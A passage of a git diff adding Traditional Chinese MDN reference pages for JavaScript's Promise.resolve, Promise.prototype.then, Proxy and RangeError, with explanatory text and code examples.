+    console.log(v); // "fulfilled!"
+  }, function(e) {
+    // not called
+});
+
+// Thenable throws before callback
+// Promise rejects
+var thenable = { then: function(resolve) {
+  throw new TypeError('Throwing');
+  resolve('Resolving');
+}};
+
+var p2 = Promise.resolve(thenable);
+p2.then(function(v) {
+  // not called
+}, function(e) {
+  console.log(e); // TypeError: Throwing
+});
+
+// Thenable throws after callback
+// Promise resolves
+var thenable = { then: function(resolve) {
+  resolve('Resolving');
+  throw new TypeError('Throwing');
+}};
+
+var p3 = Promise.resolve(thenable);
+p3.then(function(v) {
+  console.log(v); // "Resolving"
+}, function(e) {
+  // not called
+});
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-promise.resolve', 'Promise.resolve')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition in an ECMA standard.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise.resolve', 'Promise.resolve')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p class="hidden">To contribute to this compatibility data, please write a pull request against this repository: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Promise.resolve")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/promise/then/index.html b/files/zh-tw/web/javascript/reference/global_objects/promise/then/index.html
new file mode 100644
index 0000000000..19682d0199
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/promise/then/index.html
@@ -0,0 +1,271 @@
+---
+title: Promise.prototype.then()
+slug: Web/JavaScript/Reference/Global_Objects/Promise/then
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/then
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>then()</code> </strong>方法回傳一個 {{domxref("Promise")}} 物件。它接收兩個引數： <code>Promise</code> 在成功及失敗情況時的回呼函式。</p>
+
+<div class="note">
+<p>如果有一個或兩個引數被省略，或為非函式（non-functions），則 <code>then</code> 將處於遺失 handler(s) 的狀態，但不會產生錯誤。若發起 <code>then</code> 之 <code>Promise</code> 採取了一個狀態（實現（<code>fulfillment）</code>或拒絕（<code>rejection））</code>而 <code>then</code> 沒有處理它的函式，一個不具有額外 handlers 的新 <code>Promise</code> 物件將被建立，單純採取原 <code>Promise</code> 其最終狀態。</p>
+</div>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>p.then(onFulfilled[, onRejected])</var>;
+
+p.then(function(value) {
+  // fulfillment
+}, function(reason) {
+  // rejection
+});
+</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>onFulfilled</code></dt>
+ <dd>一個 {{jsxref("Function")}}，當 <code>Promise</code> 被實現（fulfilled）時被呼叫。此函式接收一個實現值（<code>fullfillment value）作為引數。</code></dd>
+ <dt><code>onRejected </code>{{optional_inline}}</dt>
+ <dd>一個 {{jsxref("Function")}}，當 <code>Promise</code> 被拒絕（rejected）時被呼叫。此函式接收一個失敗訊息（<code>rejection reason）作為引數。</code></dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>一個進入<strong>擱置（pending）</strong>狀態的 {{jsxref("Promise")}}。（只要堆疊一空）handler 函式<strong>非同步地（asynchronously）</strong>被呼叫。在調用 handler 後，若 handler 函式：</p>
+
+<ul>
+ <li>回傳一個值，則 <code>then</code> 回傳之 promise 以此值被實現（resolved）。</li>
+ <li>拋出一個例外，則 <code>then</code> 回傳之 promise 以此例外被否決（rejected）。</li>
+ <li>回傳一個被實現的 promise，則 <code>then</code> 回傳之 promise 以此值被實現。</li>
+ <li>回傳一個被否決的 promise，則 <code>then</code> 回傳之 promise 以此值被否決。</li>
+ <li>回傳另一個被<strong>擱置</strong>的 promise 物件，則 <code>then</code> 回傳之 promise 之實現／拒絕隨後由處理函式之實現/否決決定。並且，<code>then</code> 回傳之 promise 將與處理函式回傳之 promise 以相同值被解決。</li>
+</ul>
+
+<p>以下例子展示 <code>then</code> 方法的非同步性質（asynchronicity）。</p>
+
+<pre class="brush: js">// 使用一個已實現的 promise，'then' 區塊將立即被觸發，但是它的 handlers 將是非同步地被觸發，如同 console.logs 所示
+var resolvedProm = Promise.resolve(33);
+
+var thenProm = resolvedProm.then(function(value){
+    console.log("我在 main stack 之後被呼叫。收到及將回傳的值為：" + value);
+    return value;
+});
+// 立即紀錄 thenProm
+console.log(thenProm);
+
+// 我們可以使用 setTimeout 以延遲（postpone）函式執行直到堆疊為空
+setTimeout(function(){
+    console.log(thenProm);
+});
+
+
+// 紀錄結果，依序為:
+// Promise {[[PromiseStatus]]: "pending", [[PromiseValue]]: undefined}
+// "我在 main stack 之後被呼叫。收到及將回傳的值為：33"
+// Promise {[[PromiseStatus]]: "resolved", [[PromiseValue]]: 33}
+</pre>
+
+<h2 id="描述">描述</h2>
+
+<p>因為 <code>then</code> 和 {{jsxref("Promise.prototype.catch()")}} 方法都回傳 promises，它們可以被串接 — 稱為組合（<em>composition）。</em></p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="運用_then_方法">運用 <code>then</code> 方法</h3>
+
+<pre class="brush: js">var p1 = new Promise( (resolve, reject) =&gt; {
+  resolve('Success!');
+  // or
+  // reject ("Error!");
+} );
+
+p1.then( value =&gt; {
+  console.log(value); // Success!
+}, reason =&gt; {
+  console.log(reason); // Error!
+} );
+</pre>
+
+<h3 id="串接">串接</h3>
+
+<p><code>then</code> 方法回傳一個 <code>Promise</code> 而可以進行方法串接（method chaining）。</p>
+
+<p>如果傳入 <code>then</code> 的 handler 函式回傳一個 promise，一個等價的 <code>Promise</code> 將被展現給方法串接中的下一個 then 。以下程式碼片段透過 <code>setTimout</code> 函式模擬非同步程式碼。</p>
+
+<pre class="brush: js">Promise.resolve('foo')
+  // 1. Receive "foo" concatenate "bar" to it and resolve that to the next then
+  .then(function(string) {
+    return new Promise(function(resolve, reject) {
+      setTimeout(function() {
+        string += 'bar';
+        resolve(string);
+      }, 1);
+    });
+  })
+  // 2. receive "foobar", register a callback function to work on that string
+  // and print it to the console, but not before return the unworked on
+  // string to the next then
+  .then(function(string) {
+    setTimeout(function() {
+      string += 'baz';
+      console.log(string);
+    }, 1)
+    return string;
+  })
+  // 3. print helpful messages about how the code in this section will be run
+  // before string is actually processed by the mocked asynchronous code in the
+  // prior then block.
+  .then(function(string) {
+    console.log("Last Then:  oops... didn't bother to instantiate and return " +
+                "a promise in the prior then so the sequence may be a bit " +
+                "surprising");
+
+    // Note that `string` will not have the 'baz' bit of it at this point. This
+    // is because we mocked that to happen asynchronously with a setTimeout function
+    console.log(string);
+  });</pre>
+
+<p>當 handler 僅回傳一個值，實際上它將回傳 <code>Promise.resolve(&lt;value returned by whichever handler was called&gt;)</code>.</p>
+
+<pre class="brush: js">var p2 = new Promise(function(resolve, reject) {
+  resolve(1);
+});
+
+p2.then(function(value) {
+  console.log(value); // 1
+  return value + 1;
+}).then(function(value) {
+  console.log(value + '- This synchronous usage is virtually pointless'); // 2- This synchronous usage is virtually pointless
+});
+
+p2.then(function(value) {
+  console.log(value); // 1
+});
+</pre>
+
+<p>若函式拋出一個錯誤或回傳一個被否決的 Promise，<code>then</code> 也將回傳一個被否決的 Promise。</p>
+
+<pre class="brush: js">Promise.resolve()
+  .then( () =&gt; {
+    // 使 .then() 回傳一個被否決的 Promise
+    throw 'Oh no!';
+  })
+  .then( () =&gt; {
+    console.log( 'Not called.' );
+  }, reason =&gt; {
+    console.error( 'onRejected function called: ', reason );
+  });</pre>
+
+<p>在所有其他情形，實現中的 Promise 被回傳。在以下例子中，第一個 <code>then()</code> 將回傳一個實現中包裹 42 的 promise，即使串接中的前一個 Promise 被否決。</p>
+
+<pre class="brush: js">Promise.reject()
+  .then( () =&gt; 99, () =&gt; 42 ) // onRejected returns 42 which is wrapped in a resolving Promise
+  .then( solution =&gt; console.log( 'Resolved with ' + solution ) ); // Resolved with 42</pre>
+
+<p>實務上，使用 <code>catch</code> 捕捉被否決的 promise 較理想的，而不建議使用兩個引數 <code>then</code> 語法，如下展示。</p>
+
+<pre class="brush: js">Promise.resolve()
+  .then( () =&gt; {
+    // Makes .then() return a rejected promise
+    throw 'Oh no!';
+  })
+  .catch( reason =&gt; {
+    console.error( 'onRejected function called: ', reason );
+  })
+  .then( () =&gt; {
+    console.log( "I am always called even if the prior then's promise rejects" );
+  });</pre>
+
+<p><br>
+ 你也可以透過串接實作一個 Promise-based API 函式，基於它本身。</p>
+
+<pre class="brush: js">function fetch_current_data() {
+  // The <a href="/en-US/docs/Web/API/GlobalFetch/fetch">fetch</a>() API returns a Promise.  This function
+  // exposes a similar API, except the fulfillment
+  // value of this function's Promise has had more
+  // work done on it.
+  return fetch('current-data.json').then((response) =&gt; {
+    if (response.headers.get('content-type') != 'application/json') {
+      throw new TypeError();
+    }
+    var j = response.json();
+    // maybe do something with j
+    return j; // fulfillment value given to user of
+              // fetch_current_data().then()
+  });
+}
+</pre>
+
+<p>若 <code>onFulfilled</code> 回傳一個 promise，則 <code>then</code> 的實現/否決將取決它。</p>
+
+<pre class="brush: js">function resolveLater(resolve, reject) {
+  setTimeout(function () {
+    resolve(10);
+  }, 1000);
+}
+function rejectLater(resolve, reject) {
+  setTimeout(function () {
+    reject(20);
+  }, 1000);
+}
+
+var p1 = Promise.resolve('foo');
+var p2 = p1.then(function() {
+  // Return promise here, that will be resolved to 10 after 1 second
+  return new Promise(resolveLater);
+});
+p2.then(function(v) {
+  console.log('resolved', v);  // "resolved", 10
+}, function(e) {
+  // not called
+  console.log('rejected', e);
+});
+
+var p3 = p1.then(function() {
+  // Return promise here, that will be rejected with 20 after 1 second
+  return new Promise(rejectLater);
+});
+p3.then(function(v) {
+  // not called
+  console.log('resolved', v);
+}, function(e) {
+  console.log('rejected', e); // "rejected", 20
+});
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-promise.prototype.then', 'Promise.prototype.then')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition in an ECMA standard.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise.prototype.then', 'Promise.prototype.then')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p class="hidden">To contribute to this compatibility data, please write a pull request against this file: <a href="https://github.com/mdn/browser-compat-data/blob/master/javascript/promise.json">https://github.com/mdn/browser-compat-data/blob/master/javascript/promise.json</a>.</p>
+
+<p>{{Compat("javascript/promise","Promise.prototype.then")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Promise.prototype.catch()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/proxy/index.html b/files/zh-tw/web/javascript/reference/global_objects/proxy/index.html
new file mode 100644
index 0000000000..54a71be888
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/proxy/index.html
@@ -0,0 +1,400 @@
+---
+title: Proxy
+slug: Web/JavaScript/Reference/Global_Objects/Proxy
+tags:
+  - Class
+  - ECMAScript 2015
+  - JavaScript
+  - Proxy
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy
+---
+<div>
+<div>{{JSRef}}</div>
+</div>
+
+<p><strong>Proxy</strong> 物件被使用於定義基本操作的自定行為（例如：尋找屬性、賦值、列舉、函式調用等等）。</p>
+
+<h2 id="術語">術語</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler">handler</a></dt>
+ <dd>Placeholder object which contains traps.</dd>
+ <dt>traps</dt>
+ <dd>The methods that provide property access. This is analogous to the concept of traps in operating systems.</dd>
+ <dt>target</dt>
+ <dd>Object which the proxy virtualizes. It is often used as storage backend for the proxy. Invariants (semantics that remain unchanged) regarding object non-extensibility or non-configurable properties are verified against the target.</dd>
+</dl>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox notranslate">var p = new Proxy(target, handler);
+</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>A target object (can be any sort of object, including a native array, a function or even another proxy) to wrap with <code>Proxy</code>.</dd>
+ <dt><code>handler</code></dt>
+ <dd>An object whose properties are functions which define the behavior of the proxy when an operation is performed on it.</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<dl>
+ <dt>{{jsxref("Proxy.revocable()")}}</dt>
+ <dd>Creates a revocable <code>Proxy</code> object.</dd>
+</dl>
+
+<h2 id="Methods_of_the_handler_object">Methods of the handler object</h2>
+
+<p>The handler object is a placeholder object which contains traps for <code>Proxy</code>.</p>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler', 'Methods') }}</div>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="Basic_example">Basic example</h3>
+
+<p>In this simple example the number <code>37</code> gets returned as the default value when the property name is not in the object. It is using the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/get"><code>get</code></a> handler.</p>
+
+<pre class="brush: js notranslate">var handler = {
+    get: function(target, name) {
+        return name in target ?
+            target[name] :
+            37;
+    }
+};
+
+var p = new Proxy({}, handler);
+p.a = 1;
+p.b = undefined;
+
+console.log(p.a, p.b); // 1, undefined
+console.log('c' in p, p.c); // false, 37
+</pre>
+
+<h3 id="No-op_forwarding_proxy">No-op forwarding proxy</h3>
+
+<p>In this example, we are using a native JavaScript object to which our proxy will forward all operations that are applied to it.</p>
+
+<pre class="brush: js notranslate">var target = {};
+var p = new Proxy(target, {});
+
+p.a = 37; // operation forwarded to the target
+
+console.log(target.a); // 37. The operation has been properly forwarded
+</pre>
+
+<h3 id="Validation">Validation</h3>
+
+<p>With a <code>Proxy</code>, you can easily validate the passed value for an object. This example uses the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/set"><code>set</code></a> handler.</p>
+
+<pre class="brush: js notranslate">let validator = {
+  set: function(obj, prop, value) {
+    if (prop === 'age') {
+      if (!Number.isInteger(value)) {
+        throw new TypeError('The age is not an integer');
+      }
+      if (value &gt; 200) {
+        throw new RangeError('The age seems invalid');
+      }
+    }
+
+    // The default behavior to store the value
+    obj[prop] = value;
+
+    // Indicate success
+    return true;
+  }
+};
+
+let person = new Proxy({}, validator);
+
+person.age = 100;
+console.log(person.age); // 100
+person.age = 'young'; // Throws an exception
+person.age = 300; // Throws an exception</pre>
+
+<h3 id="Extending_constructor">Extending constructor</h3>
+
+<p>A function proxy could easily extend a constructor with a new constructor. This example uses the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/construct"><code>construct</code></a> and <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/apply"><code>apply</code></a> handlers.</p>
+
+<pre class="brush: js notranslate">function extend(sup, base) {
+  var descriptor = Object.getOwnPropertyDescriptor(
+    base.prototype, 'constructor'
+  );
+  base.prototype = Object.create(sup.prototype);
+  var handler = {
+    construct: function(target, args) {
+      var obj = Object.create(base.prototype);
+      this.apply(target, obj, args);
+      return obj;
+    },
+    apply: function(target, that, args) {
+      sup.apply(that, args);
+      base.apply(that, args);
+    }
+  };
+  var proxy = new Proxy(base, handler);
+  descriptor.value = proxy;
+  Object.defineProperty(base.prototype, 'constructor', descriptor);
+  return proxy;
+}
+
+var Person = function(name) {
+  this.name = name;
+};
+
+var Boy = extend(Person, function(name, age) {
+  this.age = age;
+});
+
+Boy.prototype.sex = 'M';
+
+var Peter = new Boy('Peter', 13);
+console.log(Peter.sex);  // "M"
+console.log(Peter.name); // "Peter"
+console.log(Peter.age);  // 13</pre>
+
+<h3 id="Manipulating_DOM_nodes">Manipulating DOM nodes</h3>
+
+<p>Sometimes you want to toggle the attribute or class name of two different elements. Here's how using the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/set"><code>set</code></a> handler.</p>
+
+<pre class="brush: js notranslate">let view = new Proxy({
+  selected: null
+},
+{
+  set: function(obj, prop, newval) {
+    let oldval = obj[prop];
+
+    if (prop === 'selected') {
+      if (oldval) {
+        oldval.setAttribute('aria-selected', 'false');
+      }
+      if (newval) {
+        newval.setAttribute('aria-selected', 'true');
+      }
+    }
+
+    // The default behavior to store the value
+    obj[prop] = newval;
+
+    // Indicate success
+    return true;
+  }
+});
+
+let i1 = view.selected = document.getElementById('item-1');
+console.log(i1.getAttribute('aria-selected')); // 'true'
+
+let i2 = view.selected = document.getElementById('item-2');
+console.log(i1.getAttribute('aria-selected')); // 'false'
+console.log(i2.getAttribute('aria-selected')); // 'true'</pre>
+
+<h3 id="Value_correction_and_an_extra_property">Value correction and an extra property</h3>
+
+<p>The <code>products</code> proxy object evaluates the passed value and convert it to an array if needed. The object also supports an extra property called <code>latestBrowser</code> both as a getter and a setter.</p>
+
+<pre class="brush: js notranslate">let products = new Proxy({
+  browsers: ['Internet Explorer', 'Netscape']
+},
+{
+  get: function(obj, prop) {
+    // An extra property
+    if (prop === 'latestBrowser') {
+      return obj.browsers[obj.browsers.length - 1];
+    }
+
+    // The default behavior to return the value
+    return obj[prop];
+  },
+  set: function(obj, prop, value) {
+    // An extra property
+    if (prop === 'latestBrowser') {
+      obj.browsers.push(value);
+      return true;
+    }
+
+    // Convert the value if it is not an array
+    if (typeof value === 'string') {
+      value = [value];
+    }
+
+    // The default behavior to store the value
+    obj[prop] = value;
+
+    // Indicate success
+    return true;
+  }
+});
+
+console.log(products.browsers); // ['Internet Explorer', 'Netscape']
+products.browsers = 'Firefox'; // pass a string (by mistake)
+console.log(products.browsers); // ['Firefox'] &lt;- no problem, the value is an array
+
+products.latestBrowser = 'Chrome';
+console.log(products.browsers); // ['Firefox', 'Chrome']
+console.log(products.latestBrowser); // 'Chrome'</pre>
+
+<h3 id="Finding_an_array_item_object_by_its_property">Finding an array item object by its property</h3>
+
+<p>This proxy extends an array with some utility features. As you see, you can flexibly "define" properties without using <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperties"><code>Object.defineProperties</code></a>. This example can be adapted to find a table row by its cell. In that case, the target will be <a href="/en-US/docs/DOM/table.rows"><code>table.rows</code></a>.</p>
+
+<pre class="brush: js notranslate">let products = new Proxy([
+  { name: 'Firefox', type: 'browser' },
+  { name: 'SeaMonkey', type: 'browser' },
+  { name: 'Thunderbird', type: 'mailer' }
+],
+{
+  get: function(obj, prop) {
+    // The default behavior to return the value; prop is usually an integer
+    if (prop in obj) {
+      return obj[prop];
+    }
+
+    // Get the number of products; an alias of products.length
+    if (prop === 'number') {
+      return obj.length;
+    }
+
+    let result, types = {};
+
+    for (let product of obj) {
+      if (product.name === prop) {
+        result = product;
+      }
+      if (types[product.type]) {
+        types[product.type].push(product);
+      } else {
+        types[product.type] = [product];
+      }
+    }
+
+    // Get a product by name
+    if (result) {
+      return result;
+    }
+
+    // Get products by type
+    if (prop in types) {
+      return types[prop];
+    }
+
+    // Get product types
+    if (prop === 'types') {
+      return Object.keys(types);
+    }
+
+    return undefined;
+  }
+});
+
+console.log(products[0]); // { name: 'Firefox', type: 'browser' }
+console.log(products['Firefox']); // { name: 'Firefox', type: 'browser' }
+console.log(products['Chrome']); // undefined
+console.log(products.browser); // [{ name: 'Firefox', type: 'browser' }, { name: 'SeaMonkey', type: 'browser' }]
+console.log(products.types); // ['browser', 'mailer']
+console.log(products.number); // 3
+</pre>
+
+<h3 id="A_complete_traps_list_example">A complete <code>traps</code> list example</h3>
+
+<p>Now in order to create a complete sample <code>traps</code> list, for didactic purposes, we will try to proxify a <em>non native</em> object that is particularly suited to this type of operation: the <code>docCookies</code> global object created by <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie/Simple_document.cookie_framework" title="https://developer.mozilla.org/en-US/docs/DOM/document.cookie#A_little_framework.3A_a_complete_cookies_reader.2Fwriter_with_full_unicode_support">the "little framework" published on the <code>document.cookie</code> page</a>.</p>
+
+<pre class="brush: js notranslate">/*
+  var docCookies = ... get the "docCookies" object here:
+  https://developer.mozilla.org/en-US/docs/DOM/document.cookie#A_little_framework.3A_a_complete_cookies_reader.2Fwriter_with_full_unicode_support
+*/
+
+var docCookies = new Proxy(docCookies, {
+  get: function (oTarget, sKey) {
+    return oTarget[sKey] || oTarget.getItem(sKey) || undefined;
+  },
+  set: function (oTarget, sKey, vValue) {
+    if (sKey in oTarget) { return false; }
+    return oTarget.setItem(sKey, vValue);
+  },
+  deleteProperty: function (oTarget, sKey) {
+    if (sKey in oTarget) { return false; }
+    return oTarget.removeItem(sKey);
+  },
+  enumerate: function (oTarget, sKey) {
+    return oTarget.keys();
+  },
+  ownKeys: function (oTarget, sKey) {
+    return oTarget.keys();
+  },
+  has: function (oTarget, sKey) {
+    return sKey in oTarget || oTarget.hasItem(sKey);
+  },
+  defineProperty: function (oTarget, sKey, oDesc) {
+    if (oDesc &amp;&amp; 'value' in oDesc) { oTarget.setItem(sKey, oDesc.value); }
+    return oTarget;
+  },
+  getOwnPropertyDescriptor: function (oTarget, sKey) {
+    var vValue = oTarget.getItem(sKey);
+    return vValue ? {
+      value: vValue,
+      writable: true,
+      enumerable: true,
+      configurable: false
+    } : undefined;
+  },
+});
+
+/* Cookies test */
+
+console.log(docCookies.my_cookie1 = 'First value');
+console.log(docCookies.getItem('my_cookie1'));
+
+docCookies.setItem('my_cookie1', 'Changed value');
+console.log(docCookies.my_cookie1);</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-proxy-objects', 'Proxy')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-proxy-objects', 'Proxy')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{Compat("javascript.builtins.Proxy", 2)}}</p>
+
+<h2 id="Gecko_specific_notes">Gecko specific notes</h2>
+
+<ul>
+ <li>At present, <code>Object.getPrototypeOf(proxy)</code> unconditionally returns <code>Object.getPrototypeOf(target)</code>, because the ES2015 getPrototypeOf trap is not yet implemented ({{bug(795904)}}, {{bug(888969)}}).</li>
+ <li><code>Array.isArray(proxy)</code> unconditionally returns <code>Array.isArray(target)</code> ({{bug(1096753)}}, {{bug(1111785)}}).</li>
+ <li><code>Object.prototype.toString.call(proxy)</code> unconditionally returns <code>Object.prototype.toString.call(target)</code>, because ES2015 Symbol.toStringTag is not yet implemented ({{bug(1114580)}}).</li>
+</ul>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a class="external" href="https://www.youtube.com/watch?v=sClk6aB_CPk">"Proxies are awesome" Brendan Eich presentation at JSConf</a> (<a class="external" href="http://www.slideshare.net/BrendanEich/metaprog-5303821">slides</a>)</li>
+ <li><a class="external" href="http://wiki.ecmascript.org/doku.php?id=harmony:proxies">ECMAScript Harmony Proxy proposal page</a> and <a class="external" href="http://wiki.ecmascript.org/doku.php?id=harmony:proxies_semantics">ECMAScript Harmony proxy semantics page</a></li>
+ <li><a class="external" href="http://soft.vub.ac.be/~tvcutsem/proxies/">Tutorial on proxies</a></li>
+ <li><a href="/en-US/docs/JavaScript/Old_Proxy_API" title="/en-US/docs/JavaScript/Old_Proxy_API">SpiderMonkey specific Old Proxy API</a></li>
+ <li>{{jsxref("Object.watch()")}} is a non-standard feature but has been supported in Gecko for a long time.</li>
+</ul>
+
+<h2 id="Licensing_note">Licensing note</h2>
+
+<p>Some content (text, examples) in this page has been copied or adapted from the <a class="external" href="http://wiki.ecmascript.org/doku.php">ECMAScript wiki</a> which content is licensed <a class="external" href="http://creativecommons.org/licenses/by-nc-sa/2.0/">CC 2.0 BY-NC-SA</a>.</p>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/rangeerror/index.html b/files/zh-tw/web/javascript/reference/global_objects/rangeerror/index.html
new file mode 100644
index 0000000000..257c23be9a
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/rangeerror/index.html
@@ -0,0 +1,152 @@
+---
+title: RangeError
+slug: Web/JavaScript/Reference/Global_Objects/RangeError
+tags:
+  - Error
+  - JavaScript
+  - Object
+  - RangeError
+translation_of: Web/JavaScript/Reference/Global_Objects/RangeError
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>RangeError</strong></code>物件在一個給定的值不在允許的集合或範圍內時被作為一個錯誤拋出</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><code>new RangeError([<var>message</var>[, <var>fileName</var>[, <var>lineNumber</var>]]])</code></pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>message</code></dt>
+ <dd>可選。具人類可讀性的錯誤說明</dd>
+ <dt><code>fileName</code> {{non-standard_inline}}</dt>
+ <dd>可選。包含造成錯誤發生的程式碼的檔案名稱</dd>
+ <dt><code>lineNumber</code> {{non-standard_inline}}</dt>
+ <dd>可選。造成錯誤發生的程式碼行號</dd>
+</dl>
+
+<h2 id="說明">說明</h2>
+
+<p>當試著往一個 function 傳入一個不被其允許的值作為參數時，一個<code>RangeError</code>被拋出。這可在多種情況遭遇到，例如傳入一個不被允許的字串值到 {{jsxref("String.prototype.normalize()")}}，或試著透過 {{jsxref("Array")}} constructor 用一個不合法的長度來創建一個陣列，或往數值方法像是{{jsxref("Number.toExponential()")}}、{{jsxref("Number.toFixed()")}}、{{jsxref("Number.toPrecision()")}} 傳進糟糕的值。</p>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt>{{jsxref("RangeError.prototype")}}</dt>
+ <dd>允許對一個 <code>RangeError</code> 物件增加其屬性。</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<p>普遍的 <code>RangeError</code> 自身沒有包含方法，儘管他的確從原型鍊中繼承了一些。</p>
+
+<h2 id="RangeError_物件實體"><code>RangeError</code> 物件實體</h2>
+
+<h3 id="屬性_2">屬性</h3>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/RangeError/prototype', 'Properties')}}</div>
+
+<h3 id="方法_2">方法</h3>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/RangeError/prototype', 'Methods')}}</div>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="使用_RangeError_(數值)">使用 <code>RangeError</code> (數值)</h3>
+
+<pre class="brush: js">function check(n)
+{
+    if(!(n &gt;= -500 &amp;&amp; n &lt;= 500))
+    {
+        throw new RangeError("The argument must be between -500 and 500.");
+    }
+}
+
+try
+{
+    check(2000);
+}
+catch(error)
+{
+    if(error instanceof RangeError)
+    {
+        // Handle the error.
+    }
+}</pre>
+
+<h3 id="使用_RangeError_(非數值)">使用 <code>RangeError</code> (非數值)</h3>
+
+<pre class="brush: js">function check(value)
+{
+    if(["apple", "banana", "carrot"].includes(value) === false)
+    {
+        throw new RangeError("The argument must be an \"apple\", \"banana\", or \"carrot\".");
+    }
+}
+
+try
+{
+    check("cabbage");
+}
+catch(error)
+{
+    if(error instanceof RangeError)
+    {
+        // Handle the error.
+    }
+}
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">注解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.6.2', 'RangeError')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-rangeerror', 'RangeError')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-rangeerror', 'RangeError')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.RangeError")}}</p>
+</div>
+
+<h2 id="另見">另見</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("RangeError.prototype")}}</li>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Number.toExponential()")}}</li>
+ <li>{{jsxref("Number.toFixed()")}}</li>
+ <li>{{jsxref("Number.toPrecision()")}}</li>
+ <li>{{jsxref("String.prototype.normalize()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/reflect/index.html b/files/zh-tw/web/javascript/reference/global_objects/reflect/index.html
new file mode 100644
